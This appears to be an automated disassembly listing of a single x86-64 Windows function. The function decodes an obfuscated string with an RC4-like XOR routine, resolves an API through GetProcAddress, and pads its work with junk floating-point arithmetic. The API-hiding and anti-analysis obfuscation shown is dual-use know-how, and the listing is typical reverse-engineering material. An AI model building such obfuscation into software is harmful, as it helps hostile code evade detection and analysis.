Function at 0x1400e4f40
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x248
movapd xmmword [rsp + 0x230], xmm9
movapd xmmword [rsp + 0x220], xmm8
movapd xmmword [rsp + 0x210], xmm7
movapd xmmword [rsp + 0x200], xmm6
mov esi, r9d
mov r14, r8
mov r13, rdx
mov rbp, rcx
mov rax, qword [0x140516758]
xor rax, rsp
mov qword [rsp + 0x1f8], rax
mov ecx, 1
mov edx, gethostname
call fcn.1404b8fa4
test rax, rax
je 0x1400e7171
mov r12, rax
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd0], 0
movsd xmm1, qword [rsp + 0xd0]
movsd xmm0, qword [0x1404d9140]
ucomisd xmm0, xmm1
jbe 0x1400e5120
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d9150]
movapd xmm2, xmmword [0x1404d9160]
movsd xmm3, qword [0x1404d9170]
movsd xmm4, qword [0x1404d9178]
movsd xmm5, qword [0x1404d7b00]
jmp 0x1400e5069
movsd xmm6, qword [rsp + 0xd0]
addsd xmm6, xmm5
movsd qword [rsp + 0xd0], xmm6
movsd xmm6, qword [rsp + 0xd0]
ucomisd xmm0, xmm6
jbe 0x1400e5120
movsd xmm6, qword [rsp + 0xd0]
movsd xmm7, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rsp + 0xd0]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rsp + 0xd0]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rsp + 0xd0]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm6
movsd xmm6, qword [rsp + 0xb0]
ucomisd xmm6, xmm3
jbe 0x1400e5040
movsd xmm6, qword [rsp + 0xd0]
mulsd xmm6, xmm4
addsd xmm6, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm6
jmp 0x1400e5040
movsd xmm0, qword [rsp + 0xb0]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
mov qword [rsp + 0x88], r13
mov qword [rsp + 0xa0], rbp
mov dword [rsp + 0x84], esi
mov qword [rsp + 0x98], r14
jbe 0x1400e5161
call fcn.14049eb42
call 0x14049eb22
jmp 0x1400e5cd5
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rsp + 0xf0], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rsp + 0x100], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rsp + 0x110], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rsp + 0x120], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rsp + 0x130], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rsp + 0x140], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rsp + 0x190], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rsp + 0x1c0], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rsp + 0x1d0], xmm0
xor ecx, ecx
mov r8d, 0xff
lea r9, [fcn.14049eb42]
lea r10, [0x1400e96d8]
xor r11d, r11d
xor esi, esi
jmp 0x1400e5279
dec r8
je 0x1400e53c5
mov edx, 1
cmp r8, 2
jb 0x1400e5299
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r8, rdx
ja 0x1400e5290
mov edi, ntohs
nop
cmp r11d, 3
ja case.default.0x1400e52b0
mov eax, r11d
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
movzx esi, sil
movsd xmm0, qword [rsp + 0xb0]
cvttsd2si rax, xmm0
jmp 0x1400e5340
movzx esi, sil
lea eax, [r11 - 4]
movzx eax, byte [rax + r9]
jmp 0x1400e5340
movsd xmm0, qword [rsp + 0xb0]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x1400e5340
movsd xmm0, qword [rsp + 0xb0]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x1400e5340
movsd xmm0, qword [rsp + 0xb0]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
nop word cs:[rax + rax]
add al, byte [rsp + rsi + 0xe0]
inc r11d
lea esi, [rax + 0x23]
cmp r11d, 0x23
movzx eax, al
movzx esi, sil
cmovb esi, eax
cmovae r11d, ecx
mov eax, esi
and eax, edx
movzx eax, al
dec edi
je 0x1400e5380
mov ebx, eax
cmp r8, rbx
jb 0x1400e52a0
jmp 0x1400e5387
xor edx, edx
div r8d
mov eax, edx
mov eax, eax
cmp r8, rax
je 0x1400e5270
movzx edx, byte [rsp + r8 + 0xe0]
xor dl, byte [rsp + rax + 0xe0]
mov byte [rsp + r8 + 0xe0], dl
xor dl, byte [rsp + rax + 0xe0]
mov byte [rsp + rax + 0xe0], dl
xor byte [rsp + r8 + 0xe0], dl
jmp 0x1400e5270
mov qword [rsp + 0x90], r12
movzx r15d, byte [rsp + 0xe1]
movzx ecx, byte [rsp + 0xe5]
movzx r10d, byte [rsp + 0xe7]
movzx eax, sil
movzx r11d, byte [rsp + rax + 0xe0]
movzx r9d, byte [0x14049eb22]
movzx r8d, byte [fcn.14049eb23]
movzx eax, byte [rsp + r11 + 0xe0]
lea esi, [r15 + 1]
movzx edx, byte [rsp + r15 + 0xe0]
add dl, byte [rsp + 0xe3]
movzx edi, dl
movzx ebx, byte [rsp + rdi + 0xe0]
mov byte [rsp + r11 + 0xe0], bl
movzx ebx, byte [rsp + r10 + 0xe0]
mov byte [rsp + rdi + 0xe0], bl
movzx esi, sil
movzx ebx, byte [rsp + rsi + 0xe0]
mov byte [rsp + r10 + 0xe0], bl
mov byte [rsp + rsi + 0xe0], al
movzx ebx, byte [rsp + rdi + 0xe0]
add bl, al
movzx esi, byte [rsp + r11 + 0xe0]
add sil, byte [rsp + r10 + 0xe0]
add cl, byte [rsp + rax + 0xe0]
movzx r10d, bl
movzx r11d, cl
add sil, byte [rsp + r11 + 0xe0]
movzx r11d, byte [rsp + r10 + 0xe0]
movzx r10d, sil
movzx r10d, byte [rsp + r10 + 0xe0]
shl r9b, 4
add r9b, 0x10
add r8b, 0x85
xor r11b, byte [rsp + r10 + 0xe0]
or r8b, r9b
xor r11b, r8b
xor r10d, r10d
lea r9, [0x14049eb22]
nop dword [rax + rax]
add dl, al
movzx esi, r8b
movzx r8d, byte [r9 + r10*2 + 2]
movzx eax, byte [r9 + r10*2 + 3]
add al, 0x85
shl r8b, 4
add r8b, 0x10
or r8b, al
movzx eax, byte [rsp + rsi + 0xe0]
lea edi, [r15 + r10]
add edi, 2
movzx ebx, dl
movzx ebp, byte [rsp + rbx + 0xe0]
mov byte [rsp + rsi + 0xe0], bpl
movzx r11d, r11b
movzx ebp, byte [rsp + r11 + 0xe0]
mov byte [rsp + rbx + 0xe0], bpl
movzx edi, dil
movzx ebp, byte [rsp + rdi + 0xe0]
mov byte [rsp + r11 + 0xe0], bpl
mov byte [rsp + rdi + 0xe0], al
add cl, byte [rsp + rax + 0xe0]
movzx ebx, byte [rsp + rbx + 0xe0]
add bl, al
movzx edi, bl
movzx ebx, byte [rsp + rsi + 0xe0]
add bl, byte [rsp + r11 + 0xe0]
movzx r11d, byte [rsp + rdi + 0xe0]
movzx esi, cl
add bl, byte [rsp + rsi + 0xe0]
movzx esi, bl
movzx esi, byte [rsp + rsi + 0xe0]
xor r11b, byte [rsp + rsi + 0xe0]
xor r11b, r8b
mov byte [rsp + r10 + 0x1e0], r11b
inc r10
cmp r10, 5
jne 0x1400e54d0
movzx r14d, byte [0x14049eb2e]
movzx ebx, byte [0x14049eb2f]
add bl, 0x85
shl r14b, 4
add r14b, 0x10
or r14b, bl
movzx r8d, r8b
movzx esi, byte [rsp + r8 + 0xe0]
lea edi, [r15 + r10]
add edi, 2
add dl, al
movzx eax, dl
movzx ebx, byte [rsp + rax + 0xe0]
mov byte [rsp + r8 + 0xe0], bl
movzx ebx, r11b
movzx r11d, byte [rsp + rbx + 0xe0]
mov byte [rsp + rax + 0xe0], r11b
movzx r11d, dil
movzx edi, byte [rsp + r11 + 0xe0]
mov byte [rsp + rbx + 0xe0], dil
mov byte [rsp + r11 + 0xe0], sil
add cl, byte [rsp + rsi + 0xe0]
movzx eax, byte [rsp + rax + 0xe0]
add al, sil
movzx eax, al
movzx r11d, byte [rsp + rax + 0xe0]
movzx eax, byte [rsp + r8 + 0xe0]
add al, byte [rsp + rbx + 0xe0]
movzx r8d, cl
add al, byte [rsp + r8 + 0xe0]
movzx eax, al
movzx eax, byte [rsp + rax + 0xe0]
xor r11b, byte [rsp + rax + 0xe0]
xor r11b, r14b
mov byte [rsp + 0x1e5], r11b
mov qword [rsp + 0xa8], r15
lea rsi, [r15 + r10]
mov ebp, ntohs
mov r15d, 6
mov r12d, reloc.WLDAP32.dll_Ordinal_14
xor r8d, r8d
jmp 0x1400e5837
movsd xmm0, qword [rsp + 0x50]
addsd xmm0, qword [rsp + 0x60]
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x78]
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rax, [r15 + r15]
movsd xmm0, qword [rsp + 0x40]
addsd xmm0, qword [rsp + 0x78]
movsd qword [rsp + 0x78], xmm0
movsd xmm0, qword [rsp + 0x60]
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
mov ebp, r12d
lea r9, [0x14049eb22]
movsxd rdi, ebp
movzx edi, byte [rdi + r9]
or rax, 1
movzx eax, byte [rax + r9]
add al, 0x85
shl dil, 4
add dil, 0x10
or dil, al
movzx r14d, r14b
movzx eax, byte [rsp + r14 + 0xe0]
lea r13d, [rsi + r8]
add r13d, 2
movzx r13d, r13b
add dl, byte [rsp + r13 + 0xe0]
movzx r13d, dl
movzx ebx, byte [rsp + r13 + 0xe0]
mov byte [rsp + r14 + 0xe0], bl
movzx ebx, r11b
movzx r11d, byte [rsp + rbx + 0xe0]
mov byte [rsp + r13 + 0xe0], r11b
lea r11d, [rsi + r8 + 3]
movzx r11d, r11b
movzx r9d, byte [rsp + r11 + 0xe0]
mov byte [rsp + rbx + 0xe0], r9b
mov byte [rsp + r11 + 0xe0], al
add cl, byte [rsp + rax + 0xe0]
movzx r9d, byte [rsp + r13 + 0xe0]
add r9b, al
movzx r9d, r9b
movzx r11d, byte [rsp + r9 + 0xe0]
movzx r9d, byte [rsp + r14 + 0xe0]
add r9b, byte [rsp + rbx + 0xe0]
movzx ebx, cl
add r9b, byte [rsp + rbx + 0xe0]
movzx r9d, r9b
movzx r9d, byte [rsp + r9 + 0xe0]
xor r11b, byte [rsp + r9 + 0xe0]
xor r11b, dil
mov byte [rsp + r8 + 0x1e6], r11b
inc r8
add r12, 2
mov r14d, edi
cmp r8, 6
je 0x1400e59e1
inc r15
movabs rax, 0x40d8428000000000
mov qword [rsp + 0x78], rax
movabs rax, 0x40d4cb8000000000
mov qword [rsp + 0x60], rax
movabs rax, 0x40d1548000000000
mov qword [rsp + 0x40], rax
movabs rax, 0x40cbbb0000000000
mov qword [rsp + 0x50], rax
movabs rax, 0x40c4cd0000000000
mov qword [rsp + 0x48], rax
movabs rax, 0x40bbbe0000000000
mov qword [rsp + 0x58], rax
movabs rax, 0x40abc40000000000
mov qword [rsp + 0x68], rax
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x60]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x78]
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x58]
ucomisd xmm0, xmm1
jbe 0x1400e56a0
movsd xmm0, qword [rsp + 0x48]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x78]
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, qword [rsp + 0x78]
movsd qword [rsp + 0x78], xmm0
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
movsd xmm0, qword [rsp + 0x60]
movsd xmm1, qword [rsp + 0x78]
divsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
mov rax, r12
jmp 0x1400e5735
movzx r9d, byte [0x14049eb3c]
movzx ebx, byte [0x14049eb3d]
add bl, 0x85
shl r9b, 4
add r9b, 0x10
movzx edi, dil
movzx esi, byte [rsp + rdi + 0xe0]
add dl, al
movzx edx, dl
movzx eax, byte [rsp + rdx + 0xe0]
mov byte [rsp + rdi + 0xe0], al
movzx eax, r11b
movzx r11d, byte [rsp + rax + 0xe0]
mov byte [rsp + rdx + 0xe0], r11b
mov r14, qword [rsp + 0xa8]
add r14d, r10d
lea r10d, [r8 + r14]
add r10d, 3
movzx r10d, r10b
movzx r11d, byte [rsp + r10 + 0xe0]
mov byte [rsp + rax + 0xe0], r11b
mov byte [rsp + r10 + 0xe0], sil
add cl, byte [rsp + rsi + 0xe0]
or r9b, bl
movzx r10d, byte [rsp + rdx + 0xe0]
add r10b, sil
movzx r10d, r10b
movzx r11d, byte [rsp + r10 + 0xe0]
movzx ebx, byte [rsp + rdi + 0xe0]
add bl, byte [rsp + rax + 0xe0]
movzx r10d, cl
add bl, byte [rsp + r10 + 0xe0]
movzx eax, bl
movzx eax, byte [rsp + rax + 0xe0]
xor r11b, byte [rsp + rax + 0xe0]
xor r11b, r9b
mov byte [rsp + 0x1ec], r11b
movzx eax, byte [0x14049eb3e]
movzx r9d, r9b
movzx ecx, byte [rsp + r9 + 0xe0]
add dl, sil
movzx edx, dl
movzx ebx, byte [rsp + rdx + 0xe0]
mov byte [rsp + r9 + 0xe0], bl
movzx r11d, r11b
movzx ebx, byte [rsp + r11 + 0xe0]
mov byte [rsp + rdx + 0xe0], bl
lea esi, [r8 + r14 + 4]
movzx esi, sil
movzx ebx, byte [rsp + rsi + 0xe0]
mov byte [rsp + r11 + 0xe0], bl
movzx ebx, byte [0x14049eb3f]
add bl, 0x85
shl al, 4
add al, 0x10
mov byte [rsp + rsi + 0xe0], cl
add r10b, byte [rsp + rcx + 0xe0]
movzx esi, byte [rsp + rdx + 0xe0]
add sil, cl
movzx esi, sil
movzx edi, byte [rsp + r9 + 0xe0]
add dil, byte [rsp + r11 + 0xe0]
movzx r11d, byte [rsp + rsi + 0xe0]
movzx r9d, r10b
add dil, byte [rsp + r9 + 0xe0]
movzx r10d, dil
movzx r10d, byte [rsp + r10 + 0xe0]
xor r11b, byte [rsp + r10 + 0xe0]
or al, bl
xor r11b, al
mov byte [rsp + 0x1ed], r11b
movzx r10d, byte [0x14049eb40]
movzx esi, al
movzx eax, byte [rsp + rsi + 0xe0]
add dl, cl
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0xe0]
mov byte [rsp + rsi + 0xe0], dl
movzx edx, r11b
movzx r11d, byte [rsp + rdx + 0xe0]
mov byte [rsp + rcx + 0xe0], r11b
lea r11d, [r8 + r14 + 5]
movzx r11d, r11b
movzx ebx, byte [rsp + r11 + 0xe0]
mov byte [rsp + rdx + 0xe0], bl
movzx ebx, byte [reloc.WLDAP32.dll_Ordinal_127]
add bl, 0x85
shl r10b, 4
add r10b, 0x10
mov byte [rsp + r11 + 0xe0], al
add r9b, byte [rsp + rax + 0xe0]
or r10b, bl
movzx r11d, byte [rsp + rcx + 0xe0]
add r11b, al
movzx r11d, r11b
movzx r11d, byte [rsp + r11 + 0xe0]
movzx ebx, byte [rsp + rsi + 0xe0]
add bl, byte [rsp + rdx + 0xe0]
movzx edx, r9b
add bl, byte [rsp + rdx + 0xe0]
movzx edx, bl
movzx edx, byte [rsp + rdx + 0xe0]
xor r11b, byte [rsp + rdx + 0xe0]
xor r11b, r10b
mov byte [rsp + 0x1ee], r11b
movzx edx, r10b
movzx r9d, byte [rsp + rdx + 0xe0]
add cl, al
movzx eax, cl
movzx ecx, byte [rsp + rax + 0xe0]
mov byte [rsp + rdx + 0xe0], cl
movzx ecx, r11b
movzx edx, byte [rsp + rcx + 0xe0]
mov byte [rsp + rax + 0xe0], dl
lea eax, [r8 + r14 + 6]
movzx eax, al
movzx edx, byte [rsp + rax + 0xe0]
mov byte [rsp + rcx + 0xe0], dl
mov byte [rsp + rax + 0xe0], r9b
mov byte [rsp + 0x1ef], 0
mov r12, qword [rsp + 0x90]
mov r13, qword [rsp + 0x88]
mov rbp, qword [rsp + 0xa0]
mov esi, dword [rsp + 0x84]
mov r14, qword [rsp + 0x98]
lea rdx, [rsp + 0x1e0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x78], 0
movsd xmm1, qword [rsp + 0x78]
movsd xmm0, qword [0x1404d8d10]
ucomisd xmm0, xmm1
jbe 0x1400e5e32
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d8d20]
movapd xmm2, xmmword [0x1404d8d30]
movsd xmm3, qword [0x1404d8d40]
movsd xmm4, qword [0x1404d8d48]
movsd xmm5, qword [0x1404d78f0]
jmp 0x1400e5d90
movsd xmm6, qword [rsp + 0x78]
addsd xmm6, xmm5
movsd qword [rsp + 0x78], xmm6
movsd xmm6, qword [rsp + 0x78]
ucomisd xmm0, xmm6
jbe 0x1400e5e32
movsd xmm6, qword [rsp + 0x78]
movsd xmm7, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x78]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rsp + 0x78]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rsp + 0x78]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rsp + 0x78]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm6
movsd xmm6, qword [rsp + 0xb0]
ucomisd xmm6, xmm3
jbe 0x1400e5d70
movsd xmm6, qword [rsp + 0x78]
mulsd xmm6, xmm4
addsd xmm6, qword [rsp + 0xb0]
movsd qword [rsp + 0xb0], xmm6
jmp 0x1400e5d70
movsd xmm0, qword [rsp + 0xb0]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x1400e5e54
call fcn.140496c59
call fcn.140496c41
jmp 0x1400e711d
xor eax, eax
jmp 0x1400e5ec1
mov byte [rsp + rax + 0xe0], al
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x60]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0xd0]
mulss xmm1, xmm0
movss dword [rsp + 0xd0], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
inc rax
cmp rax, 0x100
je 0x1400e5f88
mov dword [rsp + 0xd0], 0x46cfd400
mov dword [rsp + 0x60], 0x468a8e00
mov dword [rsp + 0x40], 0x460a9000
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x60]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x40]
addss xmm0, dword [rsp + 0xd0]
movss dword [rsp + 0xd0], xmm0
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x60]
movss xmm1, dword [rsp + 0x40]
ucomiss xmm1, xmm0
jbe 0x1400e5e60
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0xd0]
divss xmm1, xmm0
movss dword [rsp + 0xd0], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x60]
divss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
jmp 0x1400e5eb2
xor ecx, ecx
mov r8d, 0xff
lea r9, [fcn.140496c59]
lea r10, [0x1400e96e8]
xor esi, esi
xor r11d, r11d
jmp 0x1400e5fb9
dec r8
je 0x1400e6105
mov edx, 1
cmp r8, 2
jb 0x1400e5fd9
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r8, rdx
ja 0x1400e5fd0
mov edi, ntohs
nop
cmp r11d, 3
ja case.default.0x1400e5ff0
mov eax, r11d
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
movzx esi, sil
movsd xmm0, qword [rsp + 0xb0]
cvttsd2si rax, xmm0
jmp 0x1400e6080
movzx esi, sil
lea eax, [r11 - 4]
movzx eax, byte [rax + r9]
jmp 0x1400e6080
movsd xmm0, qword [rsp + 0xb0]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x1400e6080
movsd xmm0, qword [rsp + 0xb0]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x1400e6080
movsd xmm0, qword [rsp + 0xb0]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
nop word cs:[rax + rax]
add al, byte [rsp + rsi + 0xe0]
inc r11d
lea esi, [rax + 0x1a]
cmp r11d, 0x1a
cmovae r11d, ecx
movzx eax, al
movzx esi, sil
cmovb esi, eax
mov eax, esi
and eax, edx
movzx eax, al
dec edi
je 0x1400e60c0
mov ebx, eax
cmp r8, rbx
jb 0x1400e5fe0
jmp 0x1400e60c7
xor edx, edx
div r8d
mov eax, edx
mov eax, eax
cmp r8, rax
je 0x1400e5fb0
movzx edx, byte [rsp + r8 + 0xe0]
xor dl, byte [rsp + rax + 0xe0]
mov byte [rsp + r8 + 0xe0], dl
xor dl, byte [rsp + rax + 0xe0]
mov byte [rsp + rax + 0xe0], dl
xor byte [rsp + r8 + 0xe0], dl
jmp 0x1400e5fb0
movzx eax, byte [rsp + 0xe1]
movzx ecx, byte [rsp + 0xe3]
movzx edx, byte [rsp + 0xe5]
movzx r9d, byte [rsp + 0xe7]
movzx r8d, sil
movzx r10d, byte [rsp + r8 + 0xe0]
movabs r8, 0x40de8f0000000000
mov qword [rsp + 0xd0], r8
movabs r8, 0x40da318000000000
mov qword [rsp + 0x60], r8
movabs r8, 0x40d5d40000000000
mov qword [rsp + 0x40], r8
movabs r8, 0x40d1768000000000
mov qword [rsp + 0x50], r8
movabs r8, 0x40ca320000000000
mov qword [rsp + 0x48], r8
movabs r8, 0x40c1770000000000
mov qword [rsp + 0x58], r8
movabs r8, 0x40b1780000000000
mov qword [rsp + 0x68], r8
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0xd0]
movsd qword [rsp + 0xd0], xmm0
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x60]
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x60]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x60]
movsd xmm1, qword [rsp + 0x68]
mov r13, r12
ucomisd xmm1, xmm0
jbe 0x1400e62ee
movsd xmm0, qword [rsp + 0x60]
movsd xmm1, qword [rsp + 0xd0]
subsd xmm1, xmm0
movsd qword [rsp + 0xd0], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0xd0]
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm0, qword [rsp + 0xd0]
movsd xmm1, qword [rsp + 0x68]
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
xor r8d, r8d
jmp 0x1400e6392
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movzx r8d, byte [fcn.140496c41]
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x60]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, qword [rsp + 0xd0]
movsd qword [rsp + 0xd0], xmm0
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movzx r11d, byte [reloc.WS2_32.dll___WSAFDIsSet]
add r11, 0x75
mov edi, r8d
shl rdi, 4
add rdi, 0x90
movzx ebx, byte [rsp + r10 + 0xe0]
lea esi, [rax + 1]
add cl, byte [rsp + rax + 0xe0]
movzx r14d, cl
movzx ebp, byte [rsp + r14 + 0xe0]
mov byte [rsp + r10 + 0xe0], bpl
movzx ebp, byte [rsp + r9 + 0xe0]
mov byte [rsp + r14 + 0xe0], bpl
movzx esi, sil
movzx ebp, byte [rsp + rsi + 0xe0]
mov byte [rsp + r9 + 0xe0], bpl
mov byte [rsp + rsi + 0xe0], bl
add dl, byte [rsp + rbx + 0xe0]
movzx ebp, byte [rsp + r14 + 0xe0]
add bpl, bl
movzx ebx, bpl
movzx r10d, byte [rsp + r10 + 0xe0]
add r10b, byte [rsp + r9 + 0xe0]
or r11, rdi
movzx r9d, dl
